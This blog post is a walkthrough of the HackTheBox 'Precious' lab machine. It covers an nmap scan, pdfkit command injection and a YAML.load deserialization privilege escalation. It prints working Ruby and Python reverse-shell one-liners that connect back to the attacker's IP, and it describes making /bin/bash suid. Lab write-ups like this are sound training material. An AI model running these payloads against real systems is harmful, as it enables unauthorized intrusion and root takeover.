cwoellner.com ~ personal website & blog

Writeup of Precious From HackTheBox

Published on: Saturday, May 20, 2023

Getting a foothold

For the initial port scan, we use the following nmap command:

nmap -sS -A -Pn -T5 -p- -oN nmap.txt 10.10.11.189

And receive the following results:

Nmap scan report for 10.10.11.189
Host is up (0.033s latency).
Not shown: 65481 closed tcp ports (reset), 52 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
|   256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_  256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0

The website allows us to create a PDF of a submitted URL. When taking a closer look at the responses using ZAP we can see that pdfkit v0.86 is being used to generate the PDFs.

ZAP Response

A quick search reveals that this version of pdfkit is vulnerable to Command Injection: https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795 (I heavily recommend snyk for looking up CVEs, their pages often contain a PoC or a link to one)

Now all we need is the command for a reverse shell which can be found here: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md

In this case I use a ruby reverse shell since I already know that ruby is installed on the target.

On our machine, we start a web server and a listener:

python -m http.server &
nc -lvnp 8001

And then enter the following URL on the website:

http://10.10.14.159:8000/index.html?name=#{'%20`ruby -rsocket -e'exit if fork;c=TCPSocket.new("10.10.14.159","8001");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}'`'}

And we have access to a shell on the target system. Since our shell is not very nice to use, we verfiy that python is installed, open a second listener and start a second reverse shell, by entering the following command in our first shell:

python3 -c 'a=__import__;s=a("socket");o=a("os").dup2;p=a("pty").spawn;c=s.socket(s.AF_INET,s.SOCK_STREAM);c.connect(("10.10.14.159",8002));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'

User Flag

One of the first things I do once I have access to shell is to run linpeas. I download the shell script from GitHub onto my machine and then use a local web server and curl to get it onto the target machine.

Once ran, the script shows us an unusual file/directory in a user’s home directory: /home/ruby/.bundle/config. In this file we can find the password for the user henry. We can now log in as henry using ssh.

...
╔══════════╣ Searching root files in home dirs (limit 30)
/home/
/home/henry/user.txt
/home/henry/.bash_history
/home/ruby/.bundle
/home/ruby/.bundle/config
/home/ruby/.bash_history
...

Root Flag

Since we have the password for henry we can run sudo -l to see if we can run programs as root:

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

Let’s take a look at /opt/update_dependencies.rb:

# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

The file /opt/update_dependencies.rb processes data from dependencies.yml which is linked via a relative path, meaning we can supply our own dependencies.yml with a malicious payload.

All we are missing is a function to abuse, after looking up some of the functions I found a RCE involving YAML.read(): https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/.

The payload shown can be used to either print out the root flag or to set the suid bit on /bin/bash (supply chmod a+s /bin/bash as command in the payload, followed by /bin/bash -p in the shell)